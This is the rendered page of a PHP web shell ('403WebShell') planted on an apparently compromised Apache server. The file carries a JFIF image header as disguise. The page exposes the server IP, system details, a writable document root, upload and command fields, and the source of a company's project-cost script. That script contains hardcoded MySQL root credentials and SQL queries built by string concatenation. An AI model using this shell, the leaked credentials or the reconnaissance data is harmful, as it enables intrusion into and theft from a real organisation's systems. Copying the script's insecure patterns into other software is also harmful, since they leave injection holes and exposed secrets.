????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.141.167.59
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/icad.astacus.se/project/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/icad.astacus.se/project/calculate_cmr.php
<?php

$scancost = 40;
$regcost = 12;
$modelcost = 10;
$managercost = 30;	
$travelcost = 55;

	session_start();
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("vpa");
	
//$sql = "SELECT projectId FROM Project where (ProjectTypeId = 58 or ProjectTypeId = 23 or ProjectTypeId = 56 or ProjectTypeId = 57 or ProjectTypeId = 22 or ProjectTypeId = 41 or ProjectTypeId = 21)  and not STATOrderValue = 0 and not ProjectStatusId = 11 and ProjectPhaseId >= 2;";
	
$sql = "SELECT projectId FROM Project where STATOrderValue > 10;";

    $result1 = mysql_query($sql);
 while ($row1 = mysql_fetch_assoc($result1)){ 

$ProjectId = $row1['projectId'];
	
	//$ProjectId = 19500;
$sql = "SELECT ProjectId as PID, (SUM(Hrs*60) + SUM(Min)) as Total1 FROM `ProjectTimeV2` WHERE ProjectId = ".$ProjectId." and (ActivityId = 6 or ActivityId = 15 or ActivityId = 7 ) GROUP BY PID";



    $result = mysql_query($sql);
	
	  $Topic = "";
	  while ($row = mysql_fetch_assoc($result)){ 
	  	$TotalScan =  $row['Total1']/60;

	}


$sql = "SELECT ProjectId as PID, (SUM(Hrs*60) + SUM(Min)) as Total3 FROM `ProjectTimeV2` WHERE ProjectId = ".$ProjectId." and (ActivityId = 8) GROUP BY PID";



    $result = mysql_query($sql);
	
	  $Topic = "";
	  while ($row = mysql_fetch_assoc($result)){ 

		$TotalTravel =  $row['Total3']/60;
	}


$sql = "SELECT ProjectId as PID, (SUM(Hrs*60) + SUM(Min)) as Total2 FROM `ProjectTimeV2` WHERE ProjectId = ".$ProjectId." and (ActivityId = 13) GROUP BY PID";


    $result = mysql_query($sql);
	
	  $Topic = "";
	  while ($row = mysql_fetch_assoc($result)){ 

	
		    if($row['Username'] == "cibelia.redha@astacus.se"){
			  $TotalAdmin =  ($row['Total2']/60)*0.5;
		  }else{
			  $TotalAdmin =  $row['Total2']/60;
		  }
		
	}
	 
	 	// FIX TIMEREPORT QC INDIA
//	if($TotalAdmin  == 0){

		$sql = "SELECT ProjectId as PID, (SUM(Hrs*60) + SUM(Min)) as Total2 FROM `ProjectTimeV2_India` WHERE ProjectId = ".$ProjectId." and (ActivityId = 34 or ActivityId = 27) GROUP BY PID";
		
	 $result = mysql_query($sql);
		 while ($row = mysql_fetch_assoc($result)){ 

		$TotalAdmin +=  $row['Total2']/60;
		
	}

//	}

	 
	 
	 
	
	$sql = "SELECT * FROM Project WHERE ProjectId = ".$ProjectId."";
	 $result4 = mysql_query($sql);
	  
	  $Topic = "";
	 $STATOrderValue=0;
	  while ($row = mysql_fetch_assoc($result4)){ 
	  	$STATHrsReg_PROD =  $row['STATHrsReg_PROD'];
		$STATHrsModel_PROD =  $row['STATHrsModel_PROD'];
		$STATNbrScans_PROD =  $row['STATNbrScans_PROD'];
		$STATSize_PROD =  $row['STATSize_PROD'];
		$STATSize =  $row['STATSize'];
		$STATOrderValue =  $row['STATOrderValue'];	
	}

					$s = 0;
					if($STATSize_PROD == 0){
						$s = $STATSize;
					
					}else{
						$s = $STATSize_PROD;
					
					}

	
	$TotalCost = $TotalAdmin*$managercost+$STATHrsModel_PROD*$modelcost+$STATHrsReg_PROD*$regcost+$TotalScan*$scancost+$TotalTravel*$travelcost;
	
//echo("TotalCost: ".$TotalCost);
//echo("STATOrderValue: ".$STATOrderValue);

	$CMR = round(($STATOrderValue-$TotalCost)/$STATOrderValue*100);
	//echo("CMR: ".$CMR." ProjectID: ".$ProjectId);
	$QCPercent = round(($TotalAdmin/$STATHrsModel_PROD)*100);
	$SCANPerDay = round($s/($TotalScan / 8));

	mysql_query("Update Project Set CMR = '$CMR' WHERE ProjectId = $ProjectId");

	mysql_query("Update Project Set QCPercent = '$QCPercent' WHERE ProjectId = $ProjectId");
	mysql_query("Update Project Set SCANPerDay = '$SCANPerDay' WHERE ProjectId = $ProjectId");

	 $ProjectId= 0;
	 $CMR = 0;
	 $TotalAdmin= 0;
	 $TotalScan=0;
	 $TotalTravel = 0;
	 $STATOrderValue  = 0;
	 $STATHrsModel_PROD =0;
	 $STATHrsReg_PROD =0;
 }

?>

Youez - 2016 - github.com/yon3zu
LinuXploit